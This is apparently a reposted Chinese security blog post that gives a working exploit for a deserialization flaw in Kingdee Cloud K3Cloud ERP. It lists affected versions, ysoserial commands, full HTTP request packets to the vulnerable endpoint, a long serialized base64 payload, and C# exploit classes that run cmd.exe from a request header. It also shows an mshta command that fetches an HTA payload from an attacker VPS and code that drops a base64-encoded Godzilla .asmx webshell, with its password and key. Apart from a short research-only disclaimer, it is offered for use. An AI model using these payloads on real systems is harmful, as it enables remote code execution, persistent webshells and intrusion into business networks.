金蝶云ERP K3Cloud反序列化

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2024年5月18日11:01:20评论77 views字数 38245阅读127分29秒阅读模式

影响范围

金蝶云星空<6.2.1012.47.0.352.16 < 金蝶云星空 <7.7.0.2021118.0.0.202205 <金蝶云星空< 8.1.0.20221110

漏洞复现

使用ysoserial写入生成payload

ysoserial.exe -f BinaryFormatter -g ResourceSet  -o base64 -c "ping 1062c762.ipv6.1433.eu.org"在测试的时候涉及到本地调试，所以说可以在命令后面加-t，在你生成payload的时候会在本地运行一次ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping 1062c762.ipv6.1433.eu.org" -t

生成恶意的payload

金蝶云ERP K3Cloud反序列化

将恶意的poc的插入以下请求包中

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Go-http-client/1.1Content-Length: 2707Content-Type: text/jsonAccept-Encoding: gzip{"ap0":"xxxx","format":"3"}

金蝶云ERP K3Cloud反序列化

文件上传

getshell方法，写文件到网站目录，那如何获取网站目录呢，通过下面路径来获取网站的绝对路径位置。

http://IP/K3cloud/Kingdee.K3.SCM.App.CP.ServicePlugIn.WebAPI.GetCustomBussinessService.GetYZMByMobileNo,Kingdee.K3.SCM.App.CP.ServicePlugIn.common.kdsvc

金蝶云ERP K3Cloud反序列化

在vps上新建文件payload.hta,将以下内容放到目录里，通过python启动一个web服务。

<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">set fso=createobject("scripting.filesystemobject")set file=fso.createtextfile("D:KingdeeK3CloudWebSite40261312.txt")s="asdf123123"file.write sfile.close</script><body>demo</body></HEAD> </HTML>

金蝶云ERP K3Cloud反序列化

ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "mshta http://vps地址/payload.hta"

金蝶云ERP K3Cloud反序列化

这种方法会稍微麻烦点，别着急，后面会有直接打内存马的，先看看执行命令。

命令执行

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Cookie: ASP.NET_SessionId=41t5f11hkfhru5h5bc5wox3p; Theme=standard; kdservice-sessionid=13390743-9d17-4d4f-a6a9-a58582831195cmd: whoamiContent-Type: text/jsonContent-Length: 15907{"ap0":"AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNv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金蝶云ERP K3Cloud反序列化其实除了这个漏洞点之外还有一个漏洞点也存在反序列化。

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金蝶云ERP K3Cloud反序列化

再说一下反序列化如何生成。

ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll"

ExploitClass.cs(命令执行)

class ExploitClass    {        public ExploitClass()        {            System.Web.HttpContext context = System.Web.HttpContext.Current;            context.Server.ClearError();            context.Response.Clear();            try            {                System.Diagnostics.Process process = new System.Diagnostics.Process();                process.StartInfo.FileName = "cmd.exe";                string cmd = context.Request.Headers["cmd"];                process.StartInfo.Arguments = "/c " + cmd;                process.StartInfo.RedirectStandardOutput = true;                process.StartInfo.RedirectStandardError = true;                process.StartInfo.UseShellExecute = false;                process.Start();                string output = process.StandardOutput.ReadToEnd();                context.Response.Write(output);            }            catch (System.Exception) { }            context.Response.Flush();            context.Response.End();        }    }

ExploitClass.cs(内存马)

using System;using System.IO;class E{    public E()    {        System.Web.HttpContext context = System.Web.HttpContext.Current;        context.Server.ClearError();        context.Response.Clear();        try        {            string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;            string filePath = Path.Combine(baseDirectory, "service1.asmx");            string content = "PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkMjIiBDbGFzcz0iV2ViU2VydmljZTEiICU+CnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSA6IFN5c3RlbS5XZWIuU2VydmljZXMuV2ViU2VydmljZQp7CgogICAgICAgIFtTeXN0ZW0uV2ViLlNlcnZpY2VzLldlYk1ldGhvZChFbmFibGVTZXNzaW9uID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0cmluZyBwYXNzMTIzNChzdHJpbmcgcGFzczEyMzQpCiAgICAgICAgewoJCQlTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyIHN0cmluZ0J1aWxkZXIgPSBuZXcgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlcigpOwogICAgICAgICAgICB0cnkgeyBzdHJpbmcga2V5ID0gIjNjNmUwYjhhOWMxNTIyNGEiOyBzdHJpbmcgcGFzczEyMzRfcGFzcyA9ICJwYXNzMTIzNCI7IHN0cmluZyBtZDUgPSBTeXN0ZW0uQml0Q29udmVydGVyLlRvU3RyaW5nKG5ldyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5Lk1ENUNyeXB0b1NlcnZpY2VQcm92aWRlcigpLkNvbXB1dGVIYXNoKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMocGFzczEyMzRfcGFzcyArIGtleSkpKS5SZXBsYWNlKCItIiwgIiIpOyBieXRlW10gZGF0YSA9IFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoU3lzdGVtLldlYi5IdHRwVXRpbGl0eS5VcmxEZWNvZGUocGFzczEyMzQpKTsgZGF0YSA9IG5ldyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlJpam5kYWVsTWFuYWdlZCgpLkNyZWF0ZURlY3J5cHRvcihTeXN0ZW0uVGV4dC5FbmNvZGluZy5EZWZhdWx0LkdldEJ5dGVzKGtleSksIFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSkuVHJhbnNmb3JtRmluYWxCbG9jayhkYXRhLCAwLCBkYXRhLkxlbmd0aCk7IGlmIChDb250ZXh0LlNlc3Npb25bInBheWxvYWQiXSA9PSBudWxsKSB7IENvbnRleHQuU2Vzc2lvblsicGF5bG9hZCJdID0gKFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5KXR5cGVvZihTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSkuR2V0TWV0aG9kKCJMb2FkIiwgbmV3IFN5c3RlbS5UeXBlW10geyB0eXBlb2YoYnl0ZVtdKSB9KS5JbnZva2UobnVsbCwgbmV3IG9iamVjdFtdIHsgZGF0YSB9KTsgOyB9IGVsc2UgeyBvYmplY3QgbyA9ICgoU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkpQ29udGV4dC5TZXNzaW9uWyJwYXlsb2FkIl0pLkNyZWF0ZUluc3RhbmNlKCJMWSIpOyBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtIG91dFN0cmVhbSA9IG5ldyBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCk7IG8uRXF1YWxzKENvbnRleHQpOyBvLkVxdWFscyhvdXRTdHJlYW0pOyBvLkVxdWFscyhkYXRhKTsgby5Ub1N0cmluZygpOyBieXRlW10gciA9IG91dFN0cmVhbS5Ub0FycmF5KCk7IHN0cmluZ0J1aWxkZXIuQXBwZW5kKG1kNS5TdWJzdHJpbmcoMCwgMTYpKTsgc3RyaW5nQnVpbGRlci5BcHBlbmQoU3lzdGVtLkNvbnZlcnQuVG9CYXNlNjRTdHJpbmcobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRW5jcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKHIsIDAsIHIuTGVuZ3RoKSkpOyBzdHJpbmdCdWlsZGVyLkFwcGVuZChtZDUuU3Vic3RyaW5nKDE2KSk7IH0gfSBjYXRjaCAoU3lzdGVtLkV4Y2VwdGlvbikgeyB9CgkJCXJldHVybiBzdHJpbmdCdWlsZGVyLlRvU3RyaW5nKCk7CgkJfQogICAgCn0K";            byte[] decodedBytes = Convert.FromBase64String(content);            File.WriteAllBytes(filePath, decodedBytes);            context.Response.Write(filePath+"write success");        }        catch (System.Exception) { }        context.Response.Flush();        context.Response.End();    }}

哥斯拉的asmx马

shell：http://x.x.x.x/services1.asmxpass1234/key

仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与本公众号无关。

原文始发于微信公众号（摸鱼Sec）：金蝶云ERP K3Cloud反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
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  • 本文由 发表于 2024年5月18日11:01:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   金蝶云ERP K3Cloud反序列化http://cn-sec.com/archives/2093295.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

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